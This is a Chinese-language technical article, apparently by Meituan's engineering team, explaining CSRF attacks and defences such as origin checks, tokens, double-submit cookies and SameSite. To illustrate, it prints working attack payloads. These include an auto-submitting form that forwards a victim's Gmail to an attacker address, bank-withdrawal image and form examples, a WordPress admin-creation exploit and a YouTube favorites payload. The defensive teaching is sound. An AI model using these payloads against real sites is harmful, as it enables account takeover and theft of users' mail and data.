前端安全系列之二:如何防止CSRF攻擊?

美團技術團隊發表於2018-10-12

背景

隨著網際網路的高速發展,資訊保安問題已經成為企業最為關注的焦點之一,而前端又是引發企業安全問題的高危據點。在移動網際網路時代,前端人員除了傳統的 XSS、CSRF 等安全問題之外,又時常遭遇網路劫持、非法呼叫 Hybrid API 等新型安全問題。當然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術人員不斷進行“查漏補缺”。

前端安全

近幾年,美團業務高速發展,前端隨之面臨很多安全挑戰,因此積累了大量的實踐經驗。我們梳理了常見的前端安全問題以及對應的解決方案,將會做成一個系列,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞。本文是該系列的第二篇。

今天我們講解一下 CSRF,其實相比XSS,CSRF的名氣似乎並不是那麼大,很多人都認為“CSRF不具備那麼大的破壞性”。真的是這樣嗎?接下來,我們還是有請小明同學再次“閃亮”登場。

CSRF攻擊

CSRF漏洞的發生

相比XSS,CSRF的名氣似乎並不是那麼大,很多人都認為CSRF“不那麼有破壞性”。真的是這樣嗎?

接下來有請小明出場~~

小明的悲慘遭遇

這一天,小明同學百無聊賴地刷著Gmail郵件。大部分都是沒營養的通知、驗證碼、聊天記錄之類。但有一封郵件引起了小明的注意:

甩賣比特幣,一個只要998!!

聰明的小明當然知道這種肯定是騙子,但還是抱著好奇的態度點了進去(請勿模仿)。果然,這只是一個什麼都沒有的空白頁面,小明失望的關閉了頁面。一切似乎什麼都沒有發生......

在這平靜的外表之下,黑客的攻擊已然得手。小明的Gmail中,被偷偷設定了一個過濾規則,這個規則使得所有的郵件都會被自動轉發到haker@hackermail.com。小明還在繼續刷著郵件,殊不知他的郵件正在一封封地,如脫韁的野馬一般地,持續不斷地向著黑客的郵箱轉發而去。

不久之後的一天,小明發現自己的域名已經被轉讓了。懵懂的小明以為是域名到期自己忘了續費,直到有一天,對方開出了 $650 的贖回價碼,小明才開始覺得不太對勁。

小明仔細查了下域名的轉讓,對方是擁有自己的驗證碼的,而域名的驗證碼只存在於自己的郵箱裡面。小明回想起那天奇怪的連結,開啟後重新檢視了“空白頁”的原始碼:

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
    <input type="hidden" name="cf2_emc" value="true"/> 
    <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
    .....
    <input type="hidden" name="irf" value="on"/> 
    <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
    document.forms[0].submit();
</script>
複製程式碼

這個頁面只要開啟,就會向Gmail傳送一個post請求。請求中,執行了“Create Filter”命令,將所有的郵件,轉發到“hacker@hakermail.com”。

小明由於剛剛就登陸了Gmail,所以這個請求傳送時,攜帶著小明的登入憑證(Cookie),Gmail的後臺接收到請求,驗證了確實有小明的登入憑證,於是成功給小明配置了過濾器。

黑客可以檢視小明的所有郵件,包括郵件裡的域名驗證碼等隱私資訊。拿到驗證碼之後,黑客就可以要求域名服務商把域名重置給自己。

小明很快開啟Gmail,找到了那條過濾器,將其刪除。然而,已經洩露的郵件,已經被轉讓的域名,再也無法挽回了......

以上就是小明的悲慘遭遇。而“點開一個黑客的連結,所有郵件都被竊取”這種事情並不是杜撰的,此事件原型是2007年Gmail的CSRF漏洞:

www.davidairey.com/google-Gmai…

當然,目前此漏洞已被Gmail修復,請使用Gmail的同學不要慌張。

什麼是CSRF

CSRF(Cross-site request forgery)跨站請求偽造:攻擊者誘導受害者進入第三方網站,在第三方網站中,向被攻擊網站傳送跨站請求。利用受害者在被攻擊網站已經獲取的註冊憑證,繞過後臺的使用者驗證,達到冒充使用者對被攻擊的網站執行某項操作的目的。

一個典型的CSRF攻擊有著如下的流程:

幾種常見的攻擊型別

  • GET型別的CSRF

GET型別的CSRF利用非常簡單,只需要一個HTTP請求,一般會這樣利用:

 <img src="http://bank.example/withdraw?amount=10000&for=hacker" > 
複製程式碼

在受害者訪問含有這個img的頁面後,瀏覽器會自動向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker發出一次HTTP請求。bank.example就會收到包含受害者登入資訊的一次跨域請求。

  • POST型別的CSRF

這種型別的CSRF利用起來通常使用的是一個自動提交的表單,如:

 <form action="http://bank.example/withdraw" method=POST>
    <input type="hidden" name="account" value="xiaoming" />
    <input type="hidden" name="amount" value="10000" />
    <input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script> 
複製程式碼

訪問該頁面後,表單會自動提交,相當於模擬使用者完成了一次POST操作。

POST型別的攻擊通常比GET要求更加嚴格一點,但仍並不複雜。任何個人網站、部落格,被黑客上傳頁面的網站都有可能是發起攻擊的來源,後端介面不能將安全寄託在僅允許POST上面。

  • 連結型別的CSRF

連結型別的CSRF並不常見,比起其他兩種使用者開啟頁面就中招的情況,這種需要使用者點選連結才會觸發。這種型別通常是在論壇中釋出的圖片中嵌入惡意連結,或者以廣告的形式誘導使用者中招,攻擊者通常會以比較誇張的詞語誘騙使用者點選,例如:

  <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
  重磅訊息!!
  <a/>
複製程式碼

由於之前使用者登入了信任的網站A,並且儲存登入狀態,只要使用者主動訪問上面的這個PHP頁面,則表示攻擊成功。

CSRF的特點

  • 攻擊一般發起在第三方網站,而不是被攻擊的網站。被攻擊的網站無法防止攻擊發生。
  • 攻擊利用受害者在被攻擊網站的登入憑證,冒充受害者提交操作;而不是直接竊取資料。
  • 整個過程攻擊者並不能獲取到受害者的登入憑證,僅僅是“冒用”。
  • 跨站請求可以用各種方式:圖片URL、超連結、CORS、Form提交等等。部分請求方式可以直接嵌入在第三方論壇、文章中,難以進行追蹤。

CSRF通常是跨域的,因為外域通常更容易被攻擊者掌控。但是如果本域下有容易被利用的功能,比如可以發圖和連結的論壇和評論區,攻擊可以直接在本域下進行,而且這種攻擊更加危險。

防護策略

CSRF通常從第三方網站發起,被攻擊的網站無法防止攻擊發生,只能通過增強自己網站針對CSRF的防護能力來提升安全性。

上文中講了CSRF的兩個特點:

  • CSRF(通常)發生在第三方域名。
  • CSRF攻擊者不能獲取到Cookie等資訊,只是使用。

針對這兩點,我們可以專門制定防護策略,如下:

  • 阻止不明外域的訪問
    • 同源檢測
    • Samesite Cookie
  • 提交時要求附加本域才能獲取的資訊
    • CSRF Token
    • 雙重Cookie驗證

以下我們對各種防護方法做詳細說明:

同源檢測

既然CSRF大多來自第三方網站,那麼我們就直接禁止外域(或者不受信任的域名)對我們發起請求。

那麼問題來了,我們如何判斷請求是否來自外域呢?

在HTTP協議中,每一個非同步請求都會攜帶兩個Header,用於標記來源域名:

  • Origin Header
  • Referer Header

這兩個Header在瀏覽器發起請求時,大多數情況會自動帶上,並且不能由前端自定義內容。 伺服器可以通過解析這兩個Header中的域名,確定請求的來源域。

使用Origin Header確定來源域名

在部分與CSRF有關的請求中,請求的Header中會攜帶Origin欄位。欄位內包含請求的域名(不包含path及query)。

如果Origin存在,那麼直接使用Origin中的欄位確認來源域名就可以。

但是Origin在以下兩種情況下並不存在:

  • IE11同源策略: IE 11 不會在跨站CORS請求上新增Origin標頭,Referer頭將仍然是唯一的標識。最根本原因是因為IE 11對同源的定義和其他瀏覽器有不同,有兩個主要的區別,可以參考MDN Same-origin_policy#IE_Exceptions

  • 302重定向: 在302重定向之後Origin不包含在重定向的請求中,因為Origin可能會被認為是其他來源的敏感資訊。對於302重定向的情況來說都是定向到新的伺服器上的URL,因此瀏覽器不想將Origin洩漏到新的伺服器上。

使用Referer Header確定來源域名

根據HTTP協議,在HTTP頭中有一個欄位叫Referer,記錄了該HTTP請求的來源地址。 對於Ajax請求,圖片和script等資源請求,Referer為發起請求的頁面地址。對於頁面跳轉,Referer為開啟頁面歷史記錄的前一個頁面地址。因此我們使用Referer中連結的Origin部分可以得知請求的來源域名。

這種方法並非萬無一失,Referer的值是由瀏覽器提供的,雖然HTTP協議上有明確的要求,但是每個瀏覽器對於Referer的具體實現可能有差別,並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴於第三方(即瀏覽器)來保障,從理論上來講,這樣並不是很安全。在部分情況下,攻擊者可以隱藏,甚至修改自己請求的Referer。

2014年,W3C的Web應用安全工作組釋出了Referrer Policy草案,對瀏覽器該如何傳送Referer做了詳細的規定。截止現在新版瀏覽器大部分已經支援了這份草案,我們終於可以靈活地控制自己網站的Referer策略了。新版的Referrer Policy規定了五種Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。之前就存在的三種策略:never、default和always,在新標準裡換了個名稱。他們的對應關係如下:

策略名稱 屬性值(新) 屬性值(舊)
No Referrer no-Referrer never
No Referrer When Downgrade no-Referrer-when-downgrade default
Origin Only (same or strict) origin origin
Origin When Cross Origin (strict) origin-when-crossorigin -
Unsafe URL unsafe-url always

根據上面的表格因此需要把Referrer Policy的策略設定成same-origin,對於同源的連結和引用,會傳送Referer,referer值為Host不帶Path;跨域訪問則不攜帶Referer。例如:aaa.com引用bbb.com的資源,不會傳送Referer。

設定Referrer Policy的方法有三種:

  1. 在CSP設定
  2. 頁面頭部增加meta標籤
  3. a標籤增加referrerpolicy屬性

上面說的這些比較多,但我們可以知道一個問題:攻擊者可以在自己的請求中隱藏Referer。如果攻擊者將自己的請求這樣填寫:

 <img src="http://bank.example/withdraw?amount=10000&for=hacker" referrerpolicy="no-referrer"> 
複製程式碼

那麼這個請求發起的攻擊將不攜帶Referer。

另外在以下情況下Referer沒有或者不可信:

1.IE6、7下使用window.location.href=url進行介面的跳轉,會丟失Referer。

2.IE6、7下使用window.open,也會缺失Referer。

3.HTTPS頁面跳轉到HTTP頁面,所有瀏覽器Referer都丟失。

4.點選Flash上到達另外一個網站的時候,Referer的情況就比較雜亂,不太可信。

無法確認來源域名情況

當Origin和Referer標頭檔案不存在時該怎麼辦?如果Origin和Referer都不存在,建議直接進行阻止,特別是如果您沒有使用隨機CSRF Token(參考下方)作為第二次檢查。

如何阻止外域請求

通過Header的驗證,我們可以知道發起請求的來源域名,這些來源域名可能是網站本域,或者子域名,或者有授權的第三方域名,又或者來自不可信的未知域名。

我們已經知道了請求域名是否是來自不可信的域名,我們直接阻止掉這些的請求,就能防禦CSRF攻擊了嗎?

且慢!當一個請求是頁面請求(比如網站的主頁),而來源是搜尋引擎的連結(例如百度的搜尋結果),也會被當成疑似CSRF攻擊。所以在判斷的時候需要過濾掉頁面請求情況,通常Header符合以下情況:

Accept: text/html
Method: GET
複製程式碼

但相應的,頁面請求就暴露在了CSRF的攻擊範圍之中。如果你的網站中,在頁面的GET請求中對當前使用者做了什麼操作的話,防範就失效了。

例如,下面的頁面請求:

GET https://example.com/addComment?comment=XXX&dest=orderId
複製程式碼

注:這種嚴格來說並不一定存在CSRF攻擊的風險,但仍然有很多網站經常把主文件GET請求掛上引數來實現產品功能,但是這樣做對於自身來說是存在安全風險的。

另外,前面說過,CSRF大多數情況下來自第三方域名,但並不能排除本域發起。如果攻擊者有許可權在本域釋出評論(含連結、圖片等,統稱UGC),那麼它可以直接在本域發起攻擊,這種情況下同源策略無法達到防護的作用。

綜上所述:同源驗證是一個相對簡單的防範方法,能夠防範絕大多數的CSRF攻擊。但這並不是萬無一失的,對於安全性要求較高,或者有較多使用者輸入內容的網站,我們就要對關鍵的介面做額外的防護措施。

CSRF Token

前面講到CSRF的另一個特徵是,攻擊者無法直接竊取到使用者的資訊(Cookie,Header,網站內容等),僅僅是冒用Cookie中的資訊。

而CSRF攻擊之所以能夠成功,是因為伺服器誤把攻擊者傳送的請求當成了使用者自己的請求。那麼我們可以要求所有的使用者請求都攜帶一個CSRF攻擊者無法獲取到的Token。伺服器通過校驗請求是否攜帶正確的Token,來把正常的請求和攻擊的請求區分開,也可以防範CSRF的攻擊。

原理

CSRF Token的防護策略分為三個步驟:

1.將CSRF Token輸出到頁面中

首先,使用者開啟頁面的時候,伺服器需要給這個使用者生成一個Token,該Token通過加密演算法對資料進行加密,一般Token都包括隨機字串和時間戳的組合,顯然在提交時Token不能再放在Cookie中了,否則又會被攻擊者冒用。因此,為了安全起見Token最好還是存在伺服器的Session中,之後在每次頁面載入時,使用JS遍歷整個DOM樹,對於DOM中所有的a和form標籤後加入Token。這樣可以解決大部分的請求,但是對於在頁面載入之後動態生成的HTML程式碼,這種方法就沒有作用,還需要程式設計師在編碼時手動新增Token。

2.頁面提交的請求攜帶這個Token

對於GET請求,Token將附在請求地址之後,這樣URL 就變成 http://url?csrftoken=tokenvalue。 而對於 POST 請求來說,要在 form 的最後加上:

 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>
複製程式碼

這樣,就把Token以引數的形式加入請求了。

3.伺服器驗證Token是否正確

當使用者從客戶端得到了Token,再次提交給伺服器的時候,伺服器需要判斷Token的有效性,驗證過程是先解密Token,對比加密字串以及時間戳,如果加密字串一致且時間未過期,那麼這個Token就是有效的。

這種方法要比之前檢查Referer或者Origin要安全一些,Token可以在產生並放於Session之中,然後在每次請求時把Token從Session中拿出,與請求中的Token進行比對,但這種方法的比較麻煩的在於如何把Token以引數的形式加入請求。 下面將以Java為例,介紹一些CSRF Token的服務端校驗邏輯,程式碼如下:

HttpServletRequest req = (HttpServletRequest)request; 
HttpSession s = req.getSession(); 
 
// 從 session 中得到 csrftoken 屬性
String sToken = (String)s.getAttribute(“csrftoken”); 
if(sToken == null){ 
   // 產生新的 token 放入 session 中
   sToken = generateToken(); 
   s.setAttribute(“csrftoken”,sToken); 
   chain.doFilter(request, response); 
} else{ 
   // 從 HTTP 頭中取得 csrftoken 
   String xhrToken = req.getHeader(“csrftoken”); 
   // 從請求引數中取得 csrftoken 
   String pToken = req.getParameter(“csrftoken”); 
   if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ 
       chain.doFilter(request, response); 
   }else if(sToken != null && pToken != null && sToken.equals(pToken)){ 
       chain.doFilter(request, response); 
   }else{ 
       request.getRequestDispatcher(“error.jsp”).forward(request,response); 
   } 
}
複製程式碼

程式碼源自IBM developerworks CSRF

這個Token的值必須是隨機生成的,這樣它就不會被攻擊者猜到,考慮利用Java應用程式的java.security.SecureRandom類來生成足夠長的隨機標記,替代生成演算法包括使用256位BASE64編碼雜湊,選擇這種生成演算法的開發人員必須確保在雜湊資料中使用隨機性和唯一性來生成隨機標識。通常,開發人員只需為當前會話生成一次Token。在初始生成此Token之後,該值將儲存在會話中,並用於每個後續請求,直到會話過期。當終端使用者發出請求時,伺服器端必須驗證請求中Token的存在性和有效性,與會話中找到的Token相比較。如果在請求中找不到Token,或者提供的值與會話中的值不匹配,則應中止請求,應重置Token並將事件記錄為正在進行的潛在CSRF攻擊。

分散式校驗

在大型網站中,使用Session儲存CSRF Token會帶來很大的壓力。訪問單臺伺服器session是同一個。但是現在的大型網站中,我們的伺服器通常不止一臺,可能是幾十臺甚至幾百臺之多,甚至多個機房都可能在不同的省份,使用者發起的HTTP請求通常要經過像Ngnix之類的負載均衡器之後,再路由到具體的伺服器上,由於Session預設儲存在單機伺服器記憶體中,因此在分散式環境下同一個使用者傳送的多次HTTP請求可能會先後落到不同的伺服器上,導致後面發起的HTTP請求無法拿到之前的HTTP請求儲存在伺服器中的Session資料,從而使得Session機制在分散式環境下失效,因此在分散式叢集中CSRF Token需要儲存在Redis之類的公共儲存空間。

由於使用Session儲存,讀取和驗證CSRF Token會引起比較大的複雜度和效能問題,目前很多網站採用Encrypted Token Pattern方式。這種方法的Token是一個計算出來的結果,而非隨機生成的字串。這樣在校驗時無需再去讀取儲存的Token,只用再次計算一次即可。

這種Token的值通常是使用UserID、時間戳和隨機數,通過加密的方法生成。這樣既可以保證分散式服務的Token一致,又能保證Token不容易被破解。

在token解密成功之後,伺服器可以訪問解析值,Token中包含的UserID和時間戳將會被拿來被驗證有效性,將UserID與當前登入的UserID進行比較,並將時間戳與當前時間進行比較。

總結

Token是一個比較有效的CSRF防護方法,只要頁面沒有XSS漏洞洩露Token,那麼介面的CSRF攻擊就無法成功。

但是此方法的實現比較複雜,需要給每一個頁面都寫入Token(前端無法使用純靜態頁面),每一個Form及Ajax請求都攜帶這個Token,後端對每一個介面都進行校驗,並保證頁面Token及請求Token一致。這就使得這個防護策略不能在通用的攔截上統一攔截處理,而需要每一個頁面和介面都新增對應的輸出和校驗。這種方法工作量巨大,且有可能遺漏。

驗證碼和密碼其實也可以起到CSRF Token的作用哦,而且更安全。

為什麼很多銀行等網站會要求已經登入的使用者在轉賬時再次輸入密碼,現在是不是有一定道理了?

雙重Cookie驗證

在會話中儲存CSRF Token比較繁瑣,而且不能在通用的攔截上統一處理所有的介面。

那麼另一種防禦措施是使用雙重提交Cookie。利用CSRF攻擊不能獲取到使用者Cookie的特點,我們可以要求Ajax和表單請求攜帶一個Cookie中的值。

雙重Cookie採用以下流程:

  • 在使用者訪問網站頁面時,向請求域名注入一個Cookie,內容為隨機字串(例如csrfcookie=v8g9e4ksfhw)。
  • 在前端向後端發起請求時,取出Cookie,並新增到URL的引數中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。
  • 後端介面驗證Cookie中的欄位與URL引數中的欄位是否一致,不一致則拒絕。

此方法相對於CSRF Token就簡單了許多。可以直接通過前後端攔截的的方法自動化實現。後端校驗也更加方便,只需進行請求中欄位的對比,而不需要再進行查詢和儲存Token。

當然,此方法並沒有大規模應用,其在大型網站上的安全性還是沒有CSRF Token高,原因我們舉例進行說明。

由於任何跨域都會導致前端無法獲取Cookie中的欄位(包括子域名之間),於是發生瞭如下情況:

  • 如果使用者訪問的網站為www.a.com,而後端的api域名為api.a.com。那麼在www.a.com下,前端拿不到api.a.com的Cookie,也就無法完成雙重Cookie認證。
  • 於是這個認證Cookie必須被種在a.com下,這樣每個子域都可以訪問。
  • 任何一個子域都可以修改a.com下的Cookie。
  • 某個子域名存在漏洞被XSS攻擊(例如upload.a.com)。雖然這個子域下並沒有什麼值得竊取的資訊。但攻擊者修改了a.com下的Cookie。
  • 攻擊者可以直接使用自己配置的Cookie,對XSS中招的使用者再向www.a.com下,發起CSRF攻擊。
總結

用雙重Cookie防禦CSRF的優點:

  • 無需使用Session,適用面更廣,易於實施。
  • Token儲存於客戶端中,不會給伺服器帶來壓力。
  • 相對於Token,實施成本更低,可以在前後端統一攔截校驗,而不需要一個個介面和頁面新增。

缺點:

  • Cookie中增加了額外的欄位。
  • 如果有其他漏洞(例如XSS),攻擊者可以注入Cookie,那麼該防禦方式失效。
  • 難以做到子域名的隔離。
  • 為了確保Cookie傳輸安全,採用這種防禦方式的最好確保用整站HTTPS的方式,如果還沒切HTTPS的使用這種方式也會有風險。

Samesite Cookie屬性

防止CSRF攻擊的辦法已經有上面的預防措施。為了從源頭上解決這個問題,Google起草了一份草案來改進HTTP協議,那就是為Set-Cookie響應頭新增Samesite屬性,它用來標明這個 Cookie是個“同站 Cookie”,同站Cookie只能作為第一方Cookie,不能作為第三方Cookie,Samesite 有兩個屬性值,分別是 Strict 和 Lax,下面分別講解:

Samesite=Strict

這種稱為嚴格模式,表明這個 Cookie 在任何情況下都不可能作為第三方 Cookie,絕無例外。比如說 b.com 設定瞭如下 Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3
複製程式碼

我們在 a.com 下發起對 b.com 的任意請求,foo 這個 Cookie 都不會被包含在 Cookie 請求頭中,但 bar 會。舉個實際的例子就是,假如淘寶網站用來識別使用者登入與否的 Cookie 被設定成了 Samesite=Strict,那麼使用者從百度搜尋頁面甚至天貓頁面的連結點選進入淘寶後,淘寶都不會是登入狀態,因為淘寶的伺服器不會接受到那個 Cookie,其它網站發起的對淘寶的任意請求都不會帶上那個 Cookie。

Samesite=Lax

這種稱為寬鬆模式,比 Strict 放寬了點限制:假如這個請求是這種請求(改變了當前頁面或者開啟了新頁面)且同時是個GET請求,則這個Cookie可以作為第三方Cookie。比如說 b.com設定瞭如下Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3
複製程式碼

當使用者從 a.com 點選連結進入 b.com 時,foo 這個 Cookie 不會被包含在 Cookie 請求頭中,但 bar 和 baz 會,也就是說使用者在不同網站之間通過連結跳轉是不受影響了。但假如這個請求是從 a.com 發起的對 b.com 的非同步請求,或者頁面跳轉是通過表單的 post 提交觸發的,則bar也不會傳送。

生成Token放到Cookie中並且設定Cookie的Samesite,Java程式碼如下:

 private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        //生成token
        String sToken = this.generateToken();
        //手動新增Cookie實現支援“Samesite=strict”
        //Cookie新增雙重驗證
        String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI());
        httpResponse.addHeader("Set-Cookie", CookieSpec);
        httpResponse.setHeader(CSRF_TOKEN_NAME, token);
    }
複製程式碼

程式碼源自OWASP Cross-Site_Request_Forgery #Implementation example

我們應該如何使用SamesiteCookie

如果SamesiteCookie被設定為Strict,瀏覽器在任何跨域請求中都不會攜帶Cookie,新標籤重新開啟也不攜帶,所以說CSRF攻擊基本沒有機會。

但是跳轉子域名或者是新標籤重新開啟剛登陸的網站,之前的Cookie都不會存在。尤其是有登入的網站,那麼我們新開啟一個標籤進入,或者跳轉到子域名的網站,都需要重新登入。對於使用者來講,可能體驗不會很好。

如果SamesiteCookie被設定為Lax,那麼其他網站通過頁面跳轉過來的時候可以使用Cookie,可以保障外域連線開啟頁面時使用者的登入狀態。但相應的,其安全性也比較低。

另外一個問題是Samesite的相容性不是很好,現階段除了從新版Chrome和Firefox支援以外,Safari以及iOS Safari都還不支援,現階段看來暫時還不能普及。

而且,SamesiteCookie目前有一個致命的缺陷:不支援子域。例如,種在topic.a.com下的Cookie,並不能使用a.com下種植的SamesiteCookie。這就導致了當我們網站有多個子域名時,不能使用SamesiteCookie在主域名儲存使用者登入資訊。每個子域名都需要使用者重新登入一次。

總之,SamesiteCookie是一個可能替代同源驗證的方案,但目前還並不成熟,其應用場景有待觀望。

防止網站被利用

前面所說的,都是被攻擊的網站如何做好防護。而非防止攻擊的發生,CSRF的攻擊可以來自:

  • 攻擊者自己的網站。
  • 有檔案上傳漏洞的網站。
  • 第三方論壇等使用者內容。
  • 被攻擊網站自己的評論功能等。

對於來自黑客自己的網站,我們無法防護。但對其他情況,那麼如何防止自己的網站被利用成為攻擊的源頭呢?

  • 嚴格管理所有的上傳介面,防止任何預期之外的上傳內容(例如HTML)。
  • 新增Header X-Content-Type-Options: nosniff 防止黑客上傳HTML內容的資源(例如圖片)被解析為網頁。
  • 對於使用者上傳的圖片,進行轉存或者校驗。不要直接使用使用者填寫的圖片連結。
  • 當前使用者開啟其他使用者填寫的連結時,需告知風險(這也是很多論壇不允許直接在內容中釋出外域連結的原因之一,不僅僅是為了使用者留存,也有安全考慮)。

CSRF其他防範措施

對於一線的程式設計師同學,我們可以通過各種防護策略來防禦CSRF,對於QA、SRE、安全負責人等同學,我們可以做哪些事情來提升安全性呢?

CSRF測試

CSRFTester是一款CSRF漏洞的測試工具,CSRFTester工具的測試原理大概是這樣的,使用代理抓取我們在瀏覽器中訪問過的所有的連線以及所有的表單等資訊,通過在CSRFTester中修改相應的表單等資訊,重新提交,相當於一次偽造客戶端請求,如果修改後的測試請求成功被網站伺服器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊。 CSRFTester使用方法大致分下面幾個步驟:

  • 步驟1:設定瀏覽器代理

CSRFTester預設使用Localhost上的埠8008作為其代理,如果代理配置成功,CSRFTester將為您的瀏覽器生成的所有後續HTTP請求生成除錯訊息。

  • 步驟2:使用合法賬戶訪問網站開始測試

我們需要找到一個我們想要為CSRF測試的特定業務Web頁面。找到此頁面後,選擇CSRFTester中的“開始錄製”按鈕並執行業務功能;完成後,點選CSRFTester中的“停止錄製”按鈕;正常情況下,該軟體會全部遍歷一遍當前頁面的所有請求。

  • 步驟3:通過CSRF修改並偽造請求

之後,我們會發現軟體上有一系列跑出來的記錄請求,這些都是我們的瀏覽器在執行業務功能時生成的所有GET或者POST請求。通過選擇列表中的某一行,我們現在可以修改用於執行業務功能的引數,可以通過點選對應的請求修改query和form的引數。當修改完所有我們希望誘導使用者form最終的提交值,可以選擇開始生成HTML報告。

  • 步驟4:拿到結果如有漏洞進行修復

首先必須選擇“報告型別”。報告型別決定了我們希望受害者瀏覽器如何提交先前記錄的請求。目前有5種可能的報告:表單、iFrame、IMG、XHR和連結。一旦選擇了報告型別,我們可以選擇在瀏覽器中啟動新生成的報告,最後根據報告的情況進行對應的排查和修復。

CSRF監控

對於一個比較複雜的網站系統,某些專案、頁面、介面漏掉了CSRF防護措施是很可能的。

一旦發生了CSRF攻擊,我們如何及時的發現這些攻擊呢?

CSRF攻擊有著比較明顯的特徵:

  • 跨域請求。
  • GET型別請求Header的MIME型別大概率為圖片,而實際返回Header的MIME型別為Text、JSON、HTML。

我們可以在網站的代理層監控所有的介面請求,如果請求符合上面的特徵,就可以認為請求有CSRF攻擊嫌疑。我們可以提醒對應的頁面和專案負責人,檢查或者 Review其CSRF防護策略。

個人使用者CSRF安全的建議

經常上網的個人使用者,可以採用以下方法來保護自己:

  • 使用網頁版郵件的瀏覽郵件或者新聞也會帶來額外的風險,因為檢視郵件或者新聞訊息有可能導致惡意程式碼的攻擊。
  • 儘量不要開啟可疑的連結,一定要開啟時,使用不常用的瀏覽器。

總結

簡單總結一下上文的防護策略:

  • CSRF自動防禦策略:同源檢測(Origin 和 Referer 驗證)。

  • CSRF主動防禦措施:Token驗證 或者 雙重Cookie驗證 以及配合Samesite Cookie。

  • 保證頁面的冪等性,後端介面不要在GET頁面中做使用者操作。

為了更好的防禦CSRF,最佳實踐應該是結合上面總結的防禦措施方式中的優缺點來綜合考慮,結合當前Web應用程式自身的情況做合適的選擇,才能更好的預防CSRF的發生。

歷史案例

WordPress的CSRF漏洞

2012年3月份,WordPress發現了一個CSRF漏洞,影響了WordPress 3.3.1版本,WordPress是眾所周知的部落格平臺,該漏洞可以允許攻擊者修改某個Post的標題,新增管理許可權使用者以及操作使用者賬戶,包括但不限於刪除評論、修改頭像等等。具體的列表如下:

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator's email
  • Change Wordpress Address
  • Change Site Address

那麼這個漏洞實際上就是攻擊者引導使用者先進入目標的WordPress,然後點選其釣魚站點上的某個按鈕,該按鈕實際上是表單提交按鈕,其會觸發表單的提交工作,新增某個具有管理員許可權的使用者,實現的碼如下:

<html> 
<body onload="javascript:document.forms[0].submit()"> 
<H2>CSRF Exploit to add Administrator</H2> 
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> 
<input type="hidden" name="action" value="createuser"/> 
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> 
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> 
<input type="hidden" name="user_login" value="admin2"/> 
<input type="hidden" name="email" value="admin2@admin.com"/> 
<input type="hidden" name="first_name" value="admin2@admin.com"/> 
<input type="hidden" name="last_name" value=""/> 
<input type="hidden" name="url" value=""/> 
<input type="hidden" name="pass1" value="password"/> 
<input type="hidden" name="pass2" value="password"/> 
<input type="hidden" name="role" value="administrator"/> 
<input type="hidden" name="createuser" value="Add+New+User+"/> 
</form> 
</body> 
</html> 
複製程式碼

YouTube的CSRF漏洞

2008年,有安全研究人員發現,YouTube上幾乎所有使用者可以操作的動作都存在CSRF漏洞。如果攻擊者已經將視訊新增到使用者的“Favorites”,那麼他就能將他自己新增到使用者的“Friend”或者“Family”列表,以使用者的身份傳送任意的訊息,將視訊標記為不宜的,自動通過使用者的聯絡人來共享一個視訊。例如,要把視訊新增到使用者的“Favorites”,攻擊者只需在任何站點上嵌入如下所示的IMG標籤:

<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>
複製程式碼

攻擊者也許已經利用了該漏洞來提高視訊的流行度。例如,將一個視訊新增到足夠多使用者的“Favorites”,YouTube就會把該視訊作為“Top Favorites”來顯示。除提高一個視訊的流行度之外,攻擊者還可以導致使用者在毫不知情的情況下將一個視訊標記為“不宜的”,從而導致YouTube刪除該視訊。

這些攻擊還可能已被用於侵犯使用者隱私。YouTube允許使用者只讓朋友或親屬觀看某些視訊。這些攻擊會導致攻擊者將其新增為一個使用者的“Friend”或“Family”列表,這樣他們就能夠訪問所有原本只限於好友和親屬表中的使用者觀看的私人的視訊。

攻擊者還可以通過使用者的所有聯絡人名單(“Friends”、“Family”等等)來共享一個視訊,“共享”就意味著傳送一個視訊的連結給他們,當然還可以選擇附加訊息。這條訊息中的連結已經並不是真正意義上的視訊連結,而是一個具有攻擊性的網站連結,使用者很有可能會點選這個連結,這便使得該種攻擊能夠進行病毒式的傳播。

參考文獻

下期預告

前端安全系列文章將對XSS、CSRF、網路劫持、Hybrid安全等安全議題展開論述。下期我們要討論的是網路劫持,敬請期待。

作者簡介

劉燁,美團點評前端開發工程師,負責外賣使用者端前端業務。

前端安全系列之二:如何防止CSRF攻擊?

相關文章